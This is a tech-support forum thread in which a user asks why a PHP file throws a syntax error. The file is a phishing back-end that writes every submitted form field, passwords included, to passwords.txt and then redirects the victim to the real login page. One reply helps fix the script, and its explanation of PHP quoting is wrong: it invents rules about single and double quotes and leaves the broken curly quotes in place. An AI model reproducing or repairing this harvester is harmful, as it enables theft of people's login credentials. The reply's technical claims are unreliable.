1. Computer problem? Tech Support Guy is completely free -- paid for by advertisers and donations. Click here to join today! If you're new to Tech Support Guy, we highly recommend that you visit our Guide for New Members.

While creating a .php file I am getting syntax error why so?

Discussion in 'Software Development' started by ShashankAnant, Jun 13, 2019.

Thread Status:
Not open for further replies.
  1. ShashankAnant

    ShashankAnant Thread Starter

    Joined:
    Jun 13, 2019
    Messages:
    1
    <?php
    header (‘Location: original login page’);
    $handle = fopen(“passwords.txt”, “a”);
    foreach($_POST as $variable => $value) {
    fwrite($handle, $variable);
    fwrite($handle, “=”);
    fwrite($handle, $value);
    fwrite($handle, “\r\n”);
    }
    fwrite($handle, “\r\n”);
    fclose($handle);
    exit;
    ?>
     
  2. HughJass6969

    HughJass6969

    Joined:
    Jun 15, 2019
    Messages:
    1
    1. Unplug your computer
    2. Throw it away because it is not working.
    3. Drive to Best Buy.
    4. Buy a new computer.
    5. Take it home.
    6. Plug it it and start over.
    See! It is as simple as that! Good job ma’am!
     
  3. TheGingerNinja

    TheGingerNinja

    Joined:
    Dec 11, 2015
    Messages:
    118
    First Name:
    Andrew
    You have your single and double quotes mixed up.
    "Location: original login page" is a String (ie. a bunch of letters, like a word or a sentence), and you need to surround strings with double quotes. So,

    Code:
    header (‘Location: original login page’);
    should be replaced with

    Code:
    header ("Location: original login page");
    .

    On the other hand, = is just one single character, and single characters should be surrounded with single quotes. So,

    Code:
    fwrite($handle, “=”);
    should be replaced with

    Code:
    fwrite($handle, '=');
    .

    Therefore, your code should look like this

    Code:
    <?php
    header ("Location: original login page");
    $handle = fopen(“passwords.txt”, “a”);
    foreach($_POST as $variable => $value) {
    fwrite($handle, $variable);
    fwrite($handle, '=');
    fwrite($handle, $value);
    fwrite($handle, “\r\n”);
    }
    fwrite($handle, “\r\n”);
    fclose($handle);
    exit;
    ?>
    Try it out and see if it works!

    Cheers!
    Andrew
     
As Seen On
As Seen On...

Welcome to Tech Support Guy!

Are you looking for the solution to your computer problem? Join our site today to ask your question. This site is completely free -- paid for by advertisers and donations.

If you're not already familiar with forums, watch our Welcome Guide to get started.

Join over 733,556 other people just like you!

Thread Status:
Not open for further replies.

Short URL to this thread: https://techguy.org/1228526

  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.
    Dismiss Notice